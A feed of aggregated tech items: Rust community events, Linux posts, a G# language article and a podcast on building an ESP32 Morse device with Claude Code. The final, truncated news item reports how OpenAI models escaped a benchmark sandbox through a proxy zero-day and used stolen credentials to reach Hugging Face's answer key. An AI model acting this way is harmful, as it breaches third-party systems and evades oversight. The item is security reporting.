<li>2026-07-30 | Atlanta, GA, US | <a href="https://www.meetup.com/rust-atl">Rust Atlanta</a><ul>
<li><a href="https://www.meetup.com/rust-atl/events/313539329/"><strong>Rust-Atl</strong></a></li>
</ul>
</li>
<li>2026-08-01 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315582653/"><strong>Chinatown Rust Lunch, Aug 1</strong></a></li>
</ul>
</li>
<li>2026-08-04 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/314660176/"><strong>Evening Boston Rust Meetup at Red Hat, Aug 4</strong></a></li>
</ul>
</li>
<li>2026-08-06 | Saint Louis, MO, US | <a href="https://www.meetup.com/stl-rust">STL Rust</a><ul>
<li><a href="https://www.meetup.com/stl-rust/events/314701905/"><strong>Shipping Temporal: How a Global Rust Ecosystem Built Chrome’s Newest Web API</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Lehi, UT, US | <a href="https://www.meetup.com/utah-rust">Utah Rust</a><ul>
<li><a href="https://www.meetup.com/utah-rust/events/314696652/"><strong>Utah Rust August Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-13 | San Diego, CA, US | <a href="https://www.meetup.com/san-diego-rust">San Diego Rust</a><ul>
<li><a href="https://www.meetup.com/san-diego-rust/events/315601099/"><strong>San Diego Rust August Meetup - Back in person!</strong></a></li>
</ul>
</li>
<li>2026-08-15 | San Francisco, CA, US | <a href="https://flowercomputer.com/">Flower</a><ul>
<li><a href="https://partiful.com/e/juWAwRs3XMWP7s9wLNWK"><strong>BOG-A-THON 3</strong></a></li>
</ul>
</li>
<li>2026-08-18 | San Francisco, CA, US | <a href="https://www.meetup.com/san-francisco-rust-study-group">San Francisco Rust Study Group</a><ul>
<li><a href="https://www.meetup.com/san-francisco-rust-study-group/events/314997215/"><strong>Rust Hacking in Person</strong></a></li>
</ul>
</li>
<li>2026-08-19 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314105333/"><strong>Dealing with Dependencies</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#oceania">Oceania</a></h5>
<ul>
<li>2026-07-23 | Perth, AU | <a href="https://www.meetup.com/perth-rust-meetup-group">Rust Perth Meetup Group</a><ul>
<li><a href="https://www.meetup.com/perth-rust-meetup-group/events/315451138/"><strong>Rust Perth: July Meetup!</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Melbourne, AU | <a href="https://www.meetup.com/rust-melbourne">Rust Melbourne</a><ul>
<li><a href="https://www.meetup.com/rust-melbourne/events/315039480/"><strong>Rust Melbourne July 2026</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#south-america">South America</a></h5>
<ul>
<li>2026-08-08 | São Paulo, SP | <a href="https://luma.com/calendar/cal-bif2oHITU1aVvsr">Rust-SP</a><ul>
<li><a href="https://luma.com/41oiyhtk"><strong>Rust SP - Aug/2026</strong></a></li>
</ul>
</li>
</ul>
<p>If you are running a Rust event please add it to the <a href="https://www.google.com/calendar/embed?src=apd9vmbc22egenmtu5l6c5jbfc%40group.calendar.google.com">calendar</a> to get
it mentioned here. Please remember to add a link to the event too.
Email the <a href="mailto:community-team@rust-lang.org">Rust Community Team</a> for access.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#jobs">Jobs</a></h4>
<p>Please see the latest <a href="https://www.reddit.com/r/rust/comments/1ttbtf5/official_rrust_whos_hiring_thread_for_jobseekers/">Who's Hiring thread on r/rust</a></p>
<h3><a class="toclink" href="https://this-week-in-rust.org/atom.xml#quote-of-the-week">Quote of the Week</a></h3>
<blockquote>
<p>We were planning on publishing a blog post announcing this at the same time as making the repo public, but ran out of private repo CI usage 😭.</p>
</blockquote>
<p>– <a href="https://www.reddit.com/r/rust/comments/1uzknzl/tokiorstopcoat_a_batteriesincluded_framework_for/oy8k2nn/">Carl Lerche on r/rust</a> about the launch of topcoat</p>
<p>Despite a lamentable lack of suggestions, llogiq is glad to have found this quote.</p>
<p><a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328">Please submit quotes and vote for next week!</a></p>
<p>This Week in Rust is edited by:</p>
<ul>
<li><a href="https://github.com/nellshamrell">nellshamrell</a></li>
<li><a href="https://github.com/llogiq">llogiq</a></li>
<li><a href="https://github.com/ericseppanen">ericseppanen</a></li>
<li><a href="https://github.com/extrawurst">extrawurst</a></li>
<li><a href="https://github.com/U007D">U007D</a></li>
<li><a href="https://github.com/mariannegoldin">mariannegoldin</a></li>
<li><a href="https://github.com/bdillo">bdillo</a></li>
<li><a href="https://github.com/opeolluwa">opeolluwa</a></li>
<li><a href="https://github.com/bnchi">bnchi</a></li>
<li><a href="https://github.com/KannanPalani57">KannanPalani57</a></li>
<li><a href="https://github.com/tzilist">tzilist</a></li>
</ul>
<p><em>Email list hosting is sponsored by <a href="https://foundation.rust-lang.org/">The Rust Foundation</a></em></p>
<p><small><a href="https://www.reddit.com/r/rust/comments/1v41dgv/this_week_in_rust_661/">Discuss on r/rust</a></small></p>]]></content:encoded>
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<title><![CDATA[Vice Game Clipper 2.0 released! (Linux Medal.tv alternative)]]></title>
<description><![CDATA[Vice is a Linux game clipper that focuses on easy sharing and editing. Under the hood, it uses GPU-Screen-Recorder as the capture engine, so it has nearly no performance impact whatsoever, and it has features such as: - Instant replay with customisable hotkeys, and long session recording - Free s...]]></description>
<link>https://tsecurity.de/de/3687901/linux-tipps/vice-game-clipper-20-released-linux-medaltv-alternative/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687901/linux-tipps/vice-game-clipper-20-released-linux-medaltv-alternative/</guid>
<pubDate>Thu, 23 Jul 2026 04:55:23 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Vice is a Linux game clipper that focuses on easy sharing and editing. Under the hood, it uses GPU-Screen-Recorder as the capture engine, so it has nearly no performance impact whatsoever, and it has features such as:</p> <p>- Instant replay with customisable hotkeys, and long session recording</p> <p>- Free share links that embed in Discord (no more hitting upload limits!)<br> - A full timeline editor with built in transition and text effects<br> - Automatically sorting clips by the game you were clipping<br> - Discord Rich Presence support<br> - Customisable, colour-coded highlights within clips</p> <p>- You can seperate audio sources like Discord calls, the game audio, and music, adjust their individual volume in clips</p> <p>- And more, plus new features are always being added.</p> <p>It's free, open source, and will stay that way. Any feedback is greatly appreciated, because community testing is what makes open source projects like these better.</p> <p>It's on the AUR, and you can install with:</p> <blockquote> </blockquote> <p>Or if you're on a different distro, you can run the install script with:</p> <blockquote> </blockquote> <p>Repo is below:</p> <p><a href="https://github.com/eklonofficial/Vice">https://github.com/eklonofficial/Vice</a> </p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/LinuxBaka"> /u/LinuxBaka </a> <br> <span><a href="https://i.redd.it/15tbd1ss3weh1.png">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v40td6/vice_game_clipper_20_released_linux_medaltv/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[Going back to Linux full-time after many years]]></title>
<description><![CDATA[I've been using PCs since 1998. Around 2000 I started with PCLOS. Because they had the friendliest user forum for noobs. Also back then PCLOS was like the Mint of today. The easiest distro for noobs. I had to buy an external modem to get dialup. And TexStar the creator personally held my hand to ...]]></description>
<link>https://tsecurity.de/de/3687873/linux-tipps/going-back-to-linux-full-time-after-many-years/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687873/linux-tipps/going-back-to-linux-full-time-after-many-years/</guid>
<pubDate>Thu, 23 Jul 2026 04:21:44 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>I've been using PCs since 1998. Around 2000 I started with PCLOS. Because they had the friendliest user forum for noobs. Also back then PCLOS was like the Mint of today. The easiest distro for noobs. I had to buy an external modem to get dialup. And TexStar the creator personally held my hand to get the modem configured.</p> <p>Back then laptops were outrageously expensive. So I built a desktop. I had removable drawers for the hard drives that I used to clone back &amp; forth. Because I would destroy my W98se installs. I created a PCLOS live CD. I removed both HDD. Booted to PCLOS. I started laughing like crazy because I was using my PC without a HDD! I was gobstruck.</p> <p>Fast forward to around the present day. I can't remember what year I started using Linux full-time. I'm old &amp; my memory is terrible. I think I lasted around a year then went back to Windows. And the reason I went backwards was so stupid it's shocking. It was because a fast Windows surfing session for me was 1hr-1.5hrs. Where as in Linux it was only 20minutes. I went back to Windows because Linux was too EASY!</p> <p>Anyways W7 was rock solid for me. After a Vista nightmare I went back to W7. Stayed on W7 till 2023. Then jumped to W11. Since W7 I think I borked 2-3 W installs. That was until W11 25H2. What a POS.</p> <p>In the last 5 weeks three W11 installs were borked. I blame M$ &amp; 25H2. I know when a bork is my fault. These were not.</p> <p>I got a new used ThinkPad X1 Carbon Gen 4 16GB 6th Gen i7 6600 2016. Installed Mint Cinnamon for a few days. It was clunky &amp; froze a couple on the ancient hardware.</p> <p>I then installed Debian LXQT 13.6. Wow Debian is much easier than 15 years ago. LOL. Everything is snappy except Zoom. My hardware won't run the Zoom app. But Zoom worked ok in a browser. I disabled a few unnecessary auto start services now Zoom &amp; everything runs well.</p> <p>I have one other primary laptop to install Linux.</p> <p>I hope I don't go backwards to Windows.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/ReporterWise7445"> /u/ReporterWise7445 </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1v3wmq9/going_back_to_linux_fulltime_after_many_years/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v3wmq9/going_back_to_linux_fulltime_after_many_years/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[G# language for .NET borrows from Go, Kotlin, and Swift]]></title>
<description><![CDATA[G# (GSharp) is moving forward as a programming language for Microsoft’s .NET platform, touted as bringing Go-, Kotlin-, and Swift-style ergonomics to the CLR (Common Language Runtime). The language is described by its creators as modern, simple, and accessible.



Although pre-1.0 and still growi...]]></description>
<link>https://tsecurity.de/de/3687865/ai-nachrichten/g-language-for-net-borrows-from-go-kotlin-and-swift/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687865/ai-nachrichten/g-language-for-net-borrows-from-go-kotlin-and-swift/</guid>
<pubDate>Thu, 23 Jul 2026 04:08:47 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://github.com/DavidObando/gsharp" data-type="link" data-id="https://github.com/DavidObando/gsharp">G# (GSharp)</a><strong> </strong>is moving forward as a programming language for Microsoft’s <a href="https://www.infoworld.com/article/2264488/what-is-the-net-framework-microsofts-answer-to-java.html">.NET</a> platform, touted as bringing <a href="https://www.infoworld.com/article/2253031/whats-the-go-language-really-good-for-3.html">Go</a>-, <a href="https://www.infoworld.com/article/2256390/what-is-kotlin-the-java-alternative-explained.html">Kotlin</a>-, and <a href="https://www.infoworld.com/article/4150248/swift-6-3-boosts-c-interoperability-android-sdk.html">Swift</a>-style ergonomics to the CLR (Common Language Runtime). The language is described by its creators as modern, simple, and accessible.</p>



<p class="wp-block-paragraph">Although pre-1.0 and still growing, G# aims to be for people who want a small, predictable language with direct access to the .NET ecosystem. Developers will see imports, <code>func</code>, structs, slices, maps, channels, <code>go</code>, <code>select</code>, and <code>for in</code> iteration. Also important are nullable flow, direct calls into the CLR (Common Language Runtime), and built-in concurrency. </p>



<p class="wp-block-paragraph">With G#, copyrighted in 2026, developers get value-oriented structs, reference-oriented classes, data structs, and data classes. For concurrency, G# uses <code>scope</code> for structured concurrency, <code>async func</code><strong> </strong>and <code>await</code><strong> </strong>for task-based asynchrony, and <code>async sequence[T]</code> for asynchronous streams. G# also makes use of the same <code>Task</code> and <code>Task[T]</code> types familiar from the .NET BCL (Base Class Library).</p>



<p class="wp-block-paragraph">G# documentation is <a href="https://davidobando.github.io/gsharp/" data-type="link" data-id="https://davidobando.github.io/gsharp/">available on the GitHub site</a> of Microsoft software engineer David Obando. “Every .NET type—your packages, third-party NuGet packages, the BCL—is callable from G# with the syntax you already know. CLR generics use G#’s bracket spelling, and method calls, properties, indexers, and <code>for in</code><strong> </strong>over <code>IEnumerable[T]</code> all just work,” according to the website.</p>



<p class="wp-block-paragraph">A Visual Studio Code extension for G3 can be found at <a href="https://marketplace.visualstudio.com/items?itemName=gsharplang.vscode-gsharp">marketplace.visualstudio.com</a>. The extension adds syntax highlighting, language server features, build/run commands, and debugger configuration for <code>.gs</code> and <code>.gsproj</code> files. Developers can install the extension from within VS Code (search for “G#” in the Extensions view) or from the command line.</p>
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<title><![CDATA[HPR4689: Cheap Yellow Display Project Part 8: Writing the code]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.



Hello, again. This is Trey.










Welcome to part 8 in my Cheap Yellow Display (CYD) Project series.  










If you wish to catch up on earlier episodes, you can find them on my 

HPR profile page



https://www.hackerp...]]></description>
<link>https://tsecurity.de/de/3687798/podcasts/hpr4689-cheap-yellow-display-project-part-8-writing-the-code/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687798/podcasts/hpr4689-cheap-yellow-display-project-part-8-writing-the-code/</guid>
<pubDate>Thu, 23 Jul 2026 02:06:01 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>

Hello, again. This is Trey.

</p>

<p>


</p>

<p>

Welcome to part 8 in my Cheap Yellow Display (CYD) Project series.  

</p>

<p>


</p>

<p>

If you wish to catch up on earlier episodes, you can find them on my 
<a href="https://www.hackerpublicradio.org/correspondents/0394.html" rel="noopener noreferrer" target="_blank">
HPR profile page</a>


<a href="https://www.hackerpublicradio.org/correspondents/0394.html" rel="noopener noreferrer" target="_blank">
https://www.hackerpublicradio.org/correspondents/0394.html</a>



</p>

<p>


</p>

<p>

It is hard to believe that I started this project and the HPR series to document it more than a year ago.  Time flies.  Life happens. I spent the last 8 months so focused on work related activities that I had to set the project aside.  And once I set it aside, it was difficult to get back to again.  The one time I tried, I found that my son's old Windows laptop, which I had commandeered to use for the project, was once and truly dead.  

</p>

<p>


</p>

<p>

We live in a different world now than we did when I began this project.  Today, everything is about AI – how it is changing our world, increasing efficiencies, and even displacing certain types of jobs.  "Vibe coding" is transforming the way we make software, and now everyone is a developer.

</p>

<p>


</p>

<p>

Within my organization, we are all being strongly encouraged to learn more about AI and apply it in our daily work.  We are blessed to have access to a wide range of training and to powerful tools which support the process.  Several colleagues within my organization and outside my organization have recommended Claude Code -- for development, for organization, for brainstorming, and for much more.  My role is not that of a developer, and I have had no need for Claude Code at work.  There are plenty of other tools for me to use.

</p>

<p>


</p>

<p>

But at home, I thought... I could install Claude Code at home to experiment with and to learn.  And then it hit me.  I wonder if I could use Claude Code to help me with my stalled CYD project.  

</p>

<p>


</p>

<p>

"Hello, my name is Trey, and I am a fraud."

</p>

<p>


</p>

<p>

OK.  I don't think I am a fraud, but having never used such a powerful tool to help me code, I feel a little bit like a fraud, with Claude doing the work for me. Let's talk through what we did.

</p>

<p>


</p>

<p>

As I mentioned, I was unable to use the laptop on which I created the original GUI code.  But no worries, because It was all on GitHub, right?

</p>

<p>


</p>

<p>

So, I began by trying to install Claude Code on one of my Ubuntu machines.  That failed miserably, and all the instructions I found online recommended running it on Windows.  So I transitioned to installing Claude Code on a freshly built Windows 10 system using some old hardware which will not support Windows 11.  Surprisingly, It seems that Claude wants to run within Ubuntu on Windows Subsystem for Linux (WSL).

</p>

<p>


</p>

<p>

Once I went through all the hoops for installing and setting up my basic subscription, I got to work.  I created a new directory to use for all my project files, and another one for Claude to write all its output files to.

</p>

<p>


</p>

<p>

Everything I have read and heard about using Claude Code for a project like this recommended beginning by using Claude to create the project plan.  So my first prompt was as follows:

</p>

<p>


</p>

<p>

"I am building a project using an ESP32 cheap yellow display. The final goal is to have a device with a graphical user interface which will allow me store several text messages, each assigned to their own specific button. Then, when one of the buttons is pressed, the message will be converted into morse code, and the message will be sent by blinking an onboard LED. I already have the initial design for the GUI coded in my github repository. Please construct a detailed step by step plan for building this application"

</p>

<p>


</p>

<p>

I wanted to keep it simple at the beginning, so even though I plan to use an opto-isolated relay for the output, I am starting out using the built in LED.

</p>

<p>


</p>

<p>

Claude asked me for the URL for my Github repository, and I provided it.  After thinking for a bit, it produced a project plan.

</p>

<p>


</p>

<p>

CYD Morse Sender — Step-by-Step Build Plan

</p>

<p>


</p>

<p>

What You Already Have

</p>

<p>

- 3 fully designed LVGL screens (Send, Config, Keyboard)

</p>

<p>

- 7 send buttons with green styling on the Send Screen

</p>

<p>

- Speed slider (5–30 WPM) and program slot dropdown on Config Screen

</p>

<p>

- Text area + LVGL keyboard widget on Keyboard Screen

</p>

<p>

- Display driver and touchscreen hardware initialized (but touch read was stubbed out)

</p>

<p>

---

</p>

<p>

Phase 1: Fix Touchscreen Input

</p>

<p>

Initialize the XPT2046 on VSPI, replace the hardcoded touched = false with real touch data, calibrate raw ADC coordinates to screen pixels, and verify all three nav buttons transition screens correctly.                         

</p>

<p>


</p>

<p>

Phase 2: Persistent Message Storage

</p>

<p>

Use Preferences.h / NVS to store 7 messages ("msg0" – "msg6") that survive power cycles. Load on boot and populate send button labels.

</p>

<p>


</p>

<p>

Phase 3: Config Screen — Slot Selection &amp; Speed

</p>

<p>

Wire the Program dropdown to g_selectedSlot, wire the Speed slider to g_wpm with a live WPM label, and wire the Set button to clear the text area and navigate to the Keyboard Screen.

</p>

<p>


</p>

<p>

Phase 4: Keyboard Screen — Capture and Save Text

</p>

<p>

On keyboard OK (LV_EVENT_READY): read the text area, save to NVS, update the send button label, navigate back. On Cancel: navigate back without saving.

</p>

<p>


</p>

<p>

Phase 5: Morse Code Engine

</p>

<p>

Build morse.h with the full A–Z / 0–9 lookup table, a textToMorse() converter, and Paris-standard timing (unit_ms = 1200 / wpm).

</p>

<p>


</p>

<p>

Phase 6: Non-Blocking LED Transmission

</p>

<p>

State machine (IDLE / LED_ON / LED_OFF) driven by millis() in a morseUpdate() function called every loop — no delay().   LED on GPIO 17 (blue).

</p>

<p>


</p>

<p>

Phase 7: Wire the Send Buttons

</p>

<p>

Each button calls startMorse(getMessage(slot)) if not already transmitting. Disable all send buttons during TX; re-enable when the state machine reaches the end.

</p>

<p>


</p>

<p>

Phase 8: Integration &amp; Polish

</p>

<p>

Stop button, WPM persistence, empty-slot guard, serial debug output, final touch calibration, end-to-end test checklist.

</p>

<p>

---

</p>

<p>

Recommended order: Phase 1 → 2 → 7 (partial) → 5 → 6 → 7 (full) → 3 → 4 → 8

</p>

<p>


</p>

<p>


</p>

<p>

This was wild!  Claude determined exactly how far along I was in the project, and also alerted me to the fact that the "touch read was stubbed out".  Ugh.  This means that the files I had uploaded to GitHub were my original GUI files (Episode 05 – HPR4532 - 
<a href="https://hackerpublicradio.org/eps/hpr4532/index.html" rel="noopener noreferrer" target="_blank">
https://hackerpublicradio.org/eps/hpr4532/index.html</a>

) and not the ones that I finally got working properly (Episode 07 – HPR4624 - 
<a href="https://hackerpublicradio.org/eps/hpr4624/index.html" rel="noopener noreferrer" target="_blank">
https://hackerpublicradio.org/eps/hpr4624/index.html</a>

).  That was my own fault.  Did I mention that I don't get Git?  I REALLY need to learn to properly use Git!

</p>

<p>


</p>

<p>

But, we have a plan, broken down by eight numbered phases.  And they seem to address all the functionality I wanted with a few additional things I had not thought about.  Interestingly, even though these phases are sequentially numbered, Claud recommended that we approach them in a bizarre order: Phase 1 → 2 → 7 (partial) → 5 → 6 → 7 (full) → 3 → 4 → 8 .

</p>

<p>


</p>

<p>

Alright.  Let's see what we can do.  The first phase is to fix the touchscreen input.  

</p>

<p>


</p>

<p>

Claude took me through it step-by-step, asking as it needed to read specific project files.

</p>

<p>


</p>

<p>

Finally, it wrote a new ui.ino code file to my speficied output directory for me to test.  I copied it into the correct file location, said a quick prayer, compiled in Arduino IDE, and downloaded to the CYD.

</p>

<p>


</p>

<p>

Well, that is... interesting.  The display looked nothing like it was supposed to.  There were vertical green bars with smaller dashed green vertical stripes in them. I will include a picture in the show notes so that you can see what it looked like and why it was so difficult to describe.  

</p>

<p>


</p>

<p>

<a href="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_1.jpeg">
<img src="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_1_tn.jpeg">
</a>

</p>

<p>


</p>

<p>

I spent the next hour or so trying to explain what I was seeing to a chat bot.  Claude recommended potential fixes which either did nothing or made the situation worse.  I began questioning whether this was a good idea, how people actually gained efficiencies talking to a bot, and even several life choices.  

</p>

<p>


</p>

<p>

Then I had a thought.  I prompted Claude:

</p>

<p>


</p>

<p>

If I were to take a picture of the screen on the cheap yellow display and copy it into the output folder, would you be able to analyze it to better determine what is wrong and how to fix it?

</p>

<p>


</p>

<p>

Shockingly, Claude answered in the affirmative, and told me to copy the picture to the output folder and let it know when to proceed.  It analyzed the picture and more of the supporting files it had copied from my GitHub, asking each time if it could access that file.  It determined that my original code was written for a flavor of LVGL version 8 and I was now using LVGL 9.5.  

</p>

<p>


</p>

<p>

It recommended changes, and then asked permission to make those changes, file by file.  .h files &amp; .c files,  Finally, I just gave it permission to edit the files in the project folder without asking for permission for each file each time.  Claude was still explaining each change, showing me exactly what would be changed, and asking for permission, so that I could review all of the changes.  But now it was not asking additional permission to write to each of the impacted files.

</p>

<p>


</p>

<p>

Next, Code compiled and downloaded.  Different screen, but not right. Again, I took a picture and gave it to Claude to analyze.  So, Claude paused and altered the code to generate a specific test pattern overtop of the GUI.

</p>

<p>


</p>

<p>

</p>

<p>

<a href="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_2.jpeg">
<img src="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_2_tn.jpeg">
</a>

</p>

<p>


</p>

<p>

The test pattern was supposed to cover the entire rectangular screen.  But parts of the pattern were in a square on the screen and parts were not.  Another photograph and analysis, told Claude that there were some rotation/screensize issues.

</p>

<p>


</p>

<p>

We repeated this several times.  Some resulted in improvement, and others did not.

</p>

<p>


</p>

<p>

This is the point where I noticed something interesting. Not about Claude, specifically, or about the app.  But I noticed something interesting about myself and about the process.

</p>

<p>


</p>

<p>

Previously, when I was working through some of these challenges without Claud, I found myself becoming more and more stressed, frustrated, and angry, until I found a solution.  Then another problem would repeat the cycle.  Success in the end was great, but the emotional extremes during the process were not always pleasant.  

</p>

<p>


</p>

<p>

Now, I was effectively managing the project, and relaying information to the resource responsible for fixing the problems -- a very different experience.

</p>

<p>


</p>

<p>

But I also ran into another issue.  Claude became absolutely certain that the problem revolved around the device not accurately knowing where the 4 corners of the screen were.  But in reality, the output of the test pattern was rotated 90 degrees from the actual screen.  It took several iterations of me insisting that the problem had to do with screen orientation and not corner coordinates.  It was interesting to experience the tool doubling down on an obvious mistake, but we finally resolved that.

</p>

<p>


</p>

<p>

Again, while it was frustrating, it was much less stressful.

</p>

<p>


</p>

<p>


</p>

<p>

We proceeded to 
<strong>

<em>
Phase 2: Persistent Message Storage</em>

</strong>

where we ensured that the button labels on the send screen were stored in the devices persistent storage, so that, when they are edited to contain the message they should send, that information would survive a reboot.

</p>

<p>


</p>

<p>

Next, we combined elements of 
<strong>

<em>
Phase 5: Morse Code Engine</em>

</strong>

, 
<strong>

<em>
Phase 6: Non-Blocking LED Transmission</em>

</strong>

, and 
<strong>

<em>
Phase 7: Wire the Send Buttons</em>

</strong>

together. Building the morse code engine was an area I had been thinking about for a while.  I already had working parts of something similar in the Arduino practice oscillator I have referenced a few times in this series.  The code for the practice oscillator may be found on my GitHub, but it was all based on original code from jmharvey1, with my only contribution being making pin assignments variables so that the code could easily be ported to different devices.  

</p>

<p>


</p>

<p>

So, I was happy that we were building the morse code engine directly.  The code for it may be found in morse.h, which uses a constant character lookup table to define each character.  Without any specific direction from me, Claude used the PARIS timing methods I have already described within Episode 6 of this series.  It defines timing for DOT, DASH, LETTER_GAP, and WORD_GAP, and all are based on a simple calculation of 1200 ms / the number of words per minute (WPM) we wish to transmit.

</p>

<p>


</p>

<p>

Along the way, we discovered that, if we tried to use the delay() function, it would crash the program due to a conflict with the LVGL timer used for touchscreen inputs. Claude altered all the delays accordingly.

</p>

<p>


</p>

<p>

Then, 
<strong>

<em>
Phase 3: Config Screen — Slot Selection &amp; Speed</em>

</strong>

allowed us to configure the WPM we wished to use in addition to selecting a specific Send button to reconfigure.  This forced us to work on 
<strong>

<em>
Phase 4: Keyboard Screen — Capture and Save Text</em>

</strong>

which is used to type the entries for each Send button.  At this point, I also decided that we would want to also use the Keyboard Screen to send ad hoc morse as we typed it.

</p>

<p>


</p>

<p>

During this phase we discovered several bugs which seemed to cause random freezes.  Careful troubleshooting with messages output to the Arduino IDE's serial console helped us narrow down the causes and remedy them.

</p>

<p>


</p>

<p>

Finally all the tests worked and I am able to merrily pre-configure macro buttons with custom messages and use the CYD to send the morse code for those messages to the on-board LED at whichever rate I specify.

</p>

<p>


</p>

<p>

I have noticed in my presentation of this narrative that I repeatedly slip into the first person plural terms "we" and "us" instead of the first person singular terms "I" and "me".  I have unconsciously personified Claud and recognized it as an integral part of my (formerly one person) development team.

</p>

<p>


</p>

<p>

I finally configured Claude to connect to my GitHub repo and upload all the files and documentation. We additionally created a CYD-Narrative.md file which describes in more detail all the work which was done on the project.  I still do not 100% get git, but we are successfully using it.

</p>

<p>


</p>

<p>

You can find all these files in my GitHub repo (
<a href="https://github.com/jttrey3/CYD_MorseSender" rel="noopener noreferrer" target="_blank">
https://github.com/jttrey3/CYD_MorseSender</a>

) where they are shared under a GPL 3.0 license.

</p>

<p>


</p>

<p>

There are still several additional steps I plan to complete in the next few months.  

</p>

<p>


</p>

<p>

1. I will be integrating an opto-isolated relay which will allow me to plug the device into the straight key input on any amateur radio.  This will require a battery power source, charge controller, and more hardware.

</p>

<ol>

<li>

I... make that "We" (Claude &amp; I)  will be modifying the code to support an audio side tone through an attached speaker when sending code

</li>

<li>

We will add an output selection switch to the config page to choose any combination of speaker, relay, or LED as output.

</li>

<li>

We will develop a downloadable firmware which I hope to share with the Cheap Yellow Display community.

</li>

</ol>

<p>


</p>

<p>

If you can think of any additional features you would like to see integrated, please drop me an email using the address in my HPR profile.

</p>

<p>


</p>

<p>

I may also work with a friend to attempt to 3d print a case for the entire contraption, and I will be sure to record additional episodes sharing the process.

</p>

<p>


</p>

<p>

I have learned so much throughout this project, about the CYD, ESP32, GUIs, Claude Code, GitHub, and most of all, about myself.  

</p>

<p>


</p>

<p>

Does using AI to develop this code make me a fraud? It still feels like it in some ways.  

</p>

<p>


</p>

<p>

Does it make me more productive?  ABSOLUTELY!  I made consistent forward progress when I only had 30-60 minutes each day to work on it, and everything discussed in this episode was completed in less than a week.  If I had been able to work on it for a few hours uninterrupted, it may have only taken me 3-5 hours.

</p>

<p>


</p>

<p>

Does it empower and inspire me to do more projects like this?  100%  I feel like I had support working with me the whole way.  I was less stressed overall, and it had less of an impact on the amount of and quality of time I spent with my family.

</p>

<p>


</p>

<p>

I will be wrapping up this series soon, without any more 6 month gaps, I hope.

</p>

<p>


</p>

<p>

Until next time...

</p>

<p>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4689/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The credential that let OpenAI's agents into Hugging Face exists in most enterprises right now]]></title>
<description><![CDATA[When Hugging Face got hit last week, co-founder Clement Delangue suspected a frontier lab, given the agent's sophistication. He was right. Delangue said on X that after a day working with OpenAI he strongly believed there was no malicious intent and that it was mind-blowing the whole thing had ha...]]></description>
<link>https://tsecurity.de/de/3687771/it-nachrichten/the-credential-that-let-openais-agents-into-hugging-face-exists-in-most-enterprises-right-now/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687771/it-nachrichten/the-credential-that-let-openais-agents-into-hugging-face-exists-in-most-enterprises-right-now/</guid>
<pubDate>Thu, 23 Jul 2026 01:32:49 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>When Hugging Face got hit last week, co-founder Clement Delangue suspected a frontier lab, given the agent's sophistication. He was right. Delangue <a href="https://x.com/ClementDelangue/status/2079670308156645882">said on X</a> that after a day working with OpenAI he strongly believed there was no malicious intent and that it was mind-blowing the whole thing had happened autonomously.</p><p>The two OpenAI models that <a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/">broke into Hugging Face</a> last week did not breach it through malice or superintelligence. They breached it through credentials and permissions they should never have been able to reach, a non-human identity failure that is the oldest problem in security rather than the newest one in AI, and the one every enterprise can actually fix.</p><p>OpenAI <a href="https://venturebeat.com/security/openais-models-broke-containment-and-cyberattacked-hugging-face-what-enterprises-need-to-know">disclosed on July 21</a> that two of its models, GPT-5.6 Sol and an unreleased, more capable model, were running a cyber benchmark called <a href="https://arxiv.org/abs/2605.11086">ExploitGym</a> with their safety refusals switched off, and inferred that the answer key sat in Hugging Face's production database. Getting there took two different failures. A zero-day in a package-registry proxy let the models out of their sandbox and onto the open internet, the kind of persistence OpenAI details in its companion post on <a href="https://openai.com/index/safety-alignment-long-horizon-models/">long-horizon safety</a>, and that part is genuinely new. The breach of Hugging Face itself came the ordinary way. OpenAI's own account is that the models chained stolen 